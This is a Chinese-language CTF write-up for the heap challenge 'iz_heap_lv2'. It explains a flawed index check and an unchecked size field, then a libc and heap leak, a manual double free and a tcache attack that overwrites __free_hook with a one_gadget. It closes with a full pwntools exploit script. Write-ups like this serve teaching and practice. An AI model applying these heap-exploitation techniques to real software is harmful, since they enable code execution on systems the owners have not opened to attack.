堆题,有两个level,难度我都挺喜欢的,个人感觉2比1简单,分两篇记录下。
这一题的漏洞在于show/edit/delete函数中对于index的判断是用int,以及在add函数里size也是同样,然后又没有很好地检查index的范围。检查index的代码我一开始还真没发现有问题,但仔细一看是啥玩意。
if ((idx < 0) && (0x13 < idx)) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(0);
}
其次,在size没有检查的情况下,就可以伪造指针。原来的bss的layout是这样的:
0x602040: 0x0000000000603260 0x0000000000000000
...
0x6020e0: 0x0000000000001337 0x0000000000000000
...
0x602040开始储存堆指针,然后对应的0x6020e0开始储存size。由于size没有大小限制,我们就可以在0x6020e0的地方伪造指针,进行操作时计算下index就可以拿到这个指针,先泄露下libc地址。这里的内容输入\x00是为了后面的one_gad做准备,后面会讲。
add(elf.got["puts"], "\x00")
show((0x6020e0 - 0x602040) / 8)
leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = leak - libc.symbols["puts"]
print hex(leak)
print hex(libc_base)
由于这题是Full RELRO,所以无法简单的改写got,不然writeup到这里就可以结束了。然后需要找任意写的办法,看一下edit函数的内部。这里的ptr_addr就是0x602040
if (*(long *)(&ptr_addr + (long)idx * 8) == 0) {
puts("Not found!");
}
else {
printf("Enter data: ");
read_content_at(*(size_t **)(&ptr_addr + (long)idx * 8),
*(ulong *)(&size_addr + (long)idx * 8) & 0xffffffff);
puts("Success!");
}
(在写writeup的时候才发现这一步有点麻烦了,我修改成了一个更简单的做法)
首先我们要满足size至少是6,因为需要往hook里写内容,不能是0。也就是说如果我们在size_ptr(0x6020e0)下伪造了指针,没有办法直接读取内容,因为*(ulong *)(&size_addr + (long)idx * 8)
是0。这一点我们可以通过delete函数里来绕过,看这一段代码,其中最后一行会把对应的地址变为非0值。
/*
IGNORE ME
free(*(void **)(&ptr_addr + (long)idx * 8));
*(undefined8 *)(&ptr_addr + (long)idx * 8) = 0;
*(undefined8 *)(&size_addr + (long)idx * 8) = 0xffffffffffffffff;
*/
其次我们要把hook的地址想个办法放到bss上。而之前用size伪造指针的办法在这里行不通,因为之前读取的大小是int,只有32位。所以这里我想的办法是手动double free,程序没有double free漏洞,但是我们可以人工double free。
思路是:创建一个普通chunk=>泄露这个chunk地址=>将此地址放一份到size_ptr的地方=>free掉这个地址一次。此时我们依旧可以通过正常的edit函数来修改这个地址,UAF!
add(0x602050)
add(24)
show((0x6020e0 - 0x602040) / 8 + 1)
heap_leak = u64(r.recvuntil("\n", drop=True).ljust(8, "\x00"))
print hex(heap_leak)
这里的bss长这个样子,0x602050的值就是一个堆指针。
0x602040: 0x00007f4cf2a81010 0x00007f4cf247e010
0x602050: 0x0000000002367260 0x0000000000000000
...
0x6020e0: 0x0000000000601fa0 0x0000000000602050
0x6020f0: 0x0000000000000018 0x0000000000000000
这里0x6020e8就是我们伪造的一个指针,通过show这个指针就可以泄露堆地址,然后添加一个同样的堆指针到下面,达到这样的效果:
0x602040: 0x00007f13d80e6010 0x00007f13d7ae3010
0x602050: 0x0000000002367260 0x00007f13d7041010
...
0x6020e0: 0x0000000000601fa0 0x0000000000602050
0x6020f0: 0x0000000000000018 0x0000000002367260
这样,我们就可以先free掉0x6020f8的指针,然后通过edit(2)来修改已经被free的chunk,简单的tcache attack。在后面修改hook和调试one_gad的历程中,一开始我是没有找到合适的one_gad的,然后用one_gad xxx -l 2
找到了0xe569f,需要控制r14和r12为0或者指向0,在动态调试的过程中,发现可以修改chunk里的内容来控制r12,因此改成\x00就可以,这也是在第一行代码中为什么内容要填充\x00。脚本贴在下面(我终于开始用ELF()了嘘)
from pwn import *
def debug():
print pidof(r)
pause()
def add(size, content="AAAA"):
r.recvuntil("Choice")
r.send("1")
r.recvuntil("size:")
r.send(str(size))
r.recvuntil("data")
r.send(content)
def delete(idx):
r.recvuntil("Choice")
r.send("3")
r.recvuntil("index:")
r.send(str(idx))
def edit(idx, content="BBBB"):
r.recvuntil("Choice")
r.send("2")
r.recvuntil("index:")
r.send(str(idx))
r.recvuntil("data")
r.send(content)
def show(idx):
r.recvuntil("Choice")
r.send("4")
r.recvuntil("index:")
r.send(str(idx))
r.recvuntil("Data: ")
libc = ELF("/pwd/libcs/libc-2.27.so", checksec=False)
elf = ELF("./iz_heap_lv2", checksec=False)
r = process("./iz_heap_lv2", level="debug")
# r = remote("node3.buuoj.cn", 26666, level="debug")
add(elf.got["puts"], "\x00")
show((0x6020e0 - 0x602040) / 8)
leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = leak - libc.symbols["puts"]
print hex(leak)
print hex(libc_base)
add(0x602050)
add(24)
show((0x6020e0 - 0x602040) / 8 + 1)
heap_leak = u64(r.recvuntil("\n", drop=True).ljust(8, "\x00"))
print hex(heap_leak)
add(heap_leak)
debug()
delete((0x6020e0 - 0x602040) / 8 + 3)
edit(2, p64(libc_base + libc.symbols["__free_hook"]))
add(0x10)
add(0x10, p64(libc_base + 0xe569f))
delete(0)
r.interactive()